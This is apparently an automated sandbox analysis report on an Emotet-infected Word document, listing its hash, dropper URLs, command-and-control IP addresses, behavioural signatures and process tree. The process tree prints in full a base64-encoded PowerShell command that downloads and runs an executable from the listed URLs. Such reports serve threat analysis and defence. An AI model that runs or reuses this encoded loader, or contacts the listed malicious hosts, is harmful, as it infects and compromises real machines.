Analysis
- max time kernel
135s - max time network
151s - platform
windows10_x64 - resource
win10 - submitted
25/08/2020, 18:47
General
- Target emotet_e2_b4eb751f36bef69bd766b184f277444be06d405fe659523f99b8b567bd6ae9f2_2020-08-25__184523._doc.doc
- Size 228KB
- Sample200825-k2fee82n1j
- SHA256 b4eb751f36bef69bd766b184f277444be06d405fe659523f99b8b567bd6ae9f2
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
http://smileplz.com/gobal/Ef7Coxg/
-
exe.dropper
https://theanalysthandbook.com/db_rp/2m/
-
exe.dropper
http://veonetwork.com/chub-new/fw0c/
-
exe.dropper
http://yamunotrimandir.org/js/xOeAvdi/
-
exe.dropper
http://voxdream.com/wp-includes/t8TF/
-
exe.dropper
http://tsdunyasi.com/txttt/Y5/
-
exe.dropper
http://zehraakgul.com/js/i/
Extracted
Family
-
emotet
C2
-
107.5.122.110:80
-
199.101.86.6:443
-
45.55.219.163:443
-
62.30.7.67:443
-
185.94.252.104:443
-
203.117.253.142:80
-
93.51.50.171:8080
-
139.130.242.43:80
-
181.230.116.163:80
-
37.187.72.193:8080
-
194.187.133.160:443
-
167.86.90.214:8080
-
61.19.246.238:443
-
98.109.204.230:80
-
180.92.239.110:8080
-
121.124.124.40:7080
-
47.146.117.214:80
-
110.145.77.103:80
-
97.82.79.83:80
-
70.121.172.89:80
rsa_pubkey.plain
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blacklisted process makes network request 1 IoCs
- Executes dropped EXE 2 IoCs
- Drops file in System32 directory 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 11 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 15 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_b4eb751f36bef69bd766b184f277444be06d405fe659523f99b8b567bd6ae9f2_2020-08-25__184523._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABVADMAaAB6AGoAdwBtAD0AKAAnAFQAYgAnACsAJwAyACcAKwAoACcAbgB6ACcAKwAnADcAYwAnACkAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVABlAE0AUABcAFcATwByAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQBSAGUAYwB0AE8AcgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwB1AFIAaQB0AGAAWQBQAGAAUgBvAHQAYABPAEMAbwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAnACkAKwAoACcAMgAsACcAKwAnACAAJwApACsAJwB0AGwAJwArACgAJwBzACcAKwAnADEAMQAsACAAJwApACsAKAAnAHQAbAAnACsAJwBzACcAKQApADsAJABQAHQAcwB5ADgANwBpACAAPQAgACgAKAAnAEYAMQBqAHEAJwArACcANAAnACkAKwAnAGwAJwApADsAJABMAHMAaQByAHQAdwBqAD0AKAAoACcAVwBqADIAagAnACsAJwBtAGUAJwApACsAJwBlACcAKQA7ACQAUAB1AHcAdABpAHEANgA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcANgBVACcAKwAnADIAdwAnACsAKAAnAG8AcgBkADYAVQAnACsAJwAyADIAMAAnACkAKwAoACcAMQA5ADYAJwArACcAVQAyACcAKQApAC4AIgBSAGAARQBwAEwAYABBAEMAZQAiACgAKAAnADYAJwArACcAVQAyACcAKQAsAFsAUwB0AFIASQBuAGcAXQBbAEMAaABBAFIAXQA5ADIAKQApACsAJABQAHQAcwB5ADgANwBpACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQAQQBpAHIANABoADEAcwA9ACgAKAAnAFMAcgAnACsAJwBzACcAKQArACcAcQAnACsAKAAnAGcAJwArACcAeAA0ACcAKQApADsAJABJAGIAMQA2AF8AcAA2AD0AJgAoACcAbgBlAHcAJwArACcALQBvACcAKwAnAGIAagBlAGMAdAAnACkAIABuAGUAdAAuAHcARQBCAGMATABJAEUATgBUADsAJABYAG4AcABkAGIAZAA5AD0AKAAoACcAaAB0ACcAKwAnAHQAcAA6ACcAKQArACgAJwAvACcAKwAnAC8AcwAnACsAJwBtAGkAbABlAHAAJwApACsAJwBsACcAKwAnAHoAJwArACgAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AJwArACcAZwBvAGIAYQBsACcAKwAnAC8ARQBmACcAKQArACcANwAnACsAKAAnAEMAbwB4ACcAKwAnAGcALwAqACcAKQArACcAaAAnACsAKAAnAHQAJwArACcAdABwAHMAOgAnACkAKwAoACcALwAvACcAKwAnAHQAJwApACsAKAAnAGgAZQBhAG4AJwArACcAYQBsACcAKQArACgAJwB5AHMAJwArACcAdABoAGEAJwApACsAJwBuACcAKwAnAGQAJwArACgAJwBiAG8AJwArACcAbwBrAC4AJwApACsAKAAnAGMAbwBtAC8AZAAnACsAJwBiAF8AJwArACcAcgAnACkAKwAoACcAcAAvACcAKwAnADIAJwApACsAKAAnAG0ALwAnACsAJwAqACcAKQArACcAaAAnACsAJwB0AHQAJwArACcAcAAnACsAKAAnADoALwAvAHYAJwArACcAZQBvAG4AJwArACcAZQB0AHcAbwAnACsAJwByAGsALgBjAG8AbQAvAGMAJwApACsAKAAnAGgAJwArACcAdQBiACcAKQArACcALQAnACsAKAAnAG4AJwArACcAZQB3ACcAKQArACgAJwAvACcAKwAnAGYAdwAnACkAKwAnADAAJwArACgAJwBjAC8AKgBoAHQAJwArACcAdAAnACkAKwAoACcAcAA6AC8AJwArACcALwB5ACcAKQArACcAYQBtACcAKwAnAHUAbgAnACsAJwBvAHQAJwArACgAJwByAGkAJwArACcAbQAnACkAKwAoACcAYQBuAGQAJwArACcAaQByACcAKQArACcALgBvACcAKwAnAHIAJwArACgAJwBnACcAKwAnAC8AagBzAC8AeAAnACsAJwBPACcAKQArACgAJwBlAEEAdgAnACsAJwBkACcAKQArACcAaQAvACcAKwAnACoAaAAnACsAKAAnAHQAdABwACcAKwAnADoAJwArACcALwAvACcAKQArACgAJwB2AG8AJwArACcAeAAnACkAKwAoACcAZAByACcAKwAnAGUAYQAnACkAKwAnAG0ALgAnACsAKAAnAGMAJwArACcAbwBtACcAKQArACgAJwAvAHcAJwArACcAcAAtAGkAbgBjAGwAdQBkACcAKwAnAGUAJwApACsAJwBzACcAKwAoACcALwAnACsAJwB0ADgAVABGAC8AKgAnACsAJwBoACcAKQArACgAJwB0AHQAJwArACcAcAA6ACcAKQArACgAJwAvAC8AdAAnACsAJwBzAGQAdQAnACkAKwAoACcAbgAnACsAJwB5AGEAJwApACsAJwBzACcAKwAnAGkALgAnACsAJwBjAG8AJwArACcAbQAnACsAJwAvACcAKwAoACcAdAB4ACcAKwAnAHQAJwArACcAdAB0AC8AWQAnACkAKwAnADUALwAnACsAKAAnACoAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKwAnADoALwAnACsAKAAnAC8AegBlAGgAJwArACcAcgBhAGEAJwArACcAawAnACkAKwAnAGcAJwArACgAJwB1AGwALgBjAG8AbQAvACcAKwAnAGoAcwAnACkAKwAoACcALwBpACcAKwAnAC8AJwApACkALgAiAFMAcABsAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATAB2ADIAZwBhAGUANAA9ACgAKAAnAE0AbQAnACsAJwA4AGQAOQB3ACcAKQArACcAMQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABTAHMAMABiAGQAbAA1ACAAaQBuACAAJABYAG4AcABkAGIAZAA5ACkAewB0AHIAeQB7ACQASQBiADEANgBfAHAANgAuACIAZABPAHcAbgBMAGAAbwBBAGQARgBJAGAAbABFACIAKAAkAFMAcwAwAGIAZABsADUALAAgACQAUAB1AHcAdABpAHEANgApADsAJABDADAAaQBoAGwAdABfAD0AKAAnAEEAMQAnACsAKAAnADMAYwBlACcAKwAnADQAJwApACsAJwB0ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABQAHUAdwB0AGkAcQA2ACkALgAiAGwAYABlAE4AYABnAHQASAAiACAALQBnAGUAIAAyADQAMwAyADYAKQAgAHsAJgAoACcASQBuAHYAbwAnACsAJwBrAGUALQBJACcAKwAnAHQAZQBtACcAKQAoACQAUAB1AHcAdABpAHEANgApADsAJABJADQAMgBuADkAMgA4AD0AKAAoACcAWQBsADcAJwArACcANQBwACcAKQArACcAdgBkACcAKQA7AGIAcgBlAGEAawA7ACQAUABuAGkAbwB2AGQAOQA9ACgAJwBBAGcAJwArACgAJwBrAG0AMQBwACcAKwAnAHkAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFIAdwB3ADUAXwB0AGYAPQAoACcASQA0ACcAKwAoACcAbgAnACsAJwBpAGUAJwApACsAJwA5AHcAJwApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\word\2019\F1jq4l.exe"C:\Users\Admin\AppData\Local\Temp\word\2019\F1jq4l.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mfds\Windows.Security.Credentials.UI.UserConsentVerifier.exe"C:\Windows\SysWOW64\mfds\Windows.Security.Credentials.UI.UserConsentVerifier.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/976-1-0x000001C8F1A75000-0x000001C8F1A86000-memory.dmp
memory/976-2-0x000001C8F1A86000-0x000001C8F1A97000-memory.dmp
memory/976-3-0x000001C8F1A75000-0x000001C8F1A86000-memory.dmp
memory/976-4-0x000001C8F1A75000-0x000001C8F1A86000-memory.dmp
memory/976-5-0x000001C8EE2EB000-0x000001C8EE2F0000-memory.dmp
memory/976-0-0x00007FFA21840000-0x00007FFA21F06000-memory.dmp
memory/1516-16-0x0000000002200000-0x000000000220C000-memory.dmp
memory/1980-19-0x0000000000960000-0x000000000096C000-memory.dmp
memory/3784-12-0x0000015BB9790000-0x0000015BB9791000-memory.dmp
memory/3784-11-0x0000015BB94B0000-0x0000015BB94B1000-memory.dmp
memory/3784-10-0x00007FFA198C0000-0x00007FFA1A2AC000-memory.dmp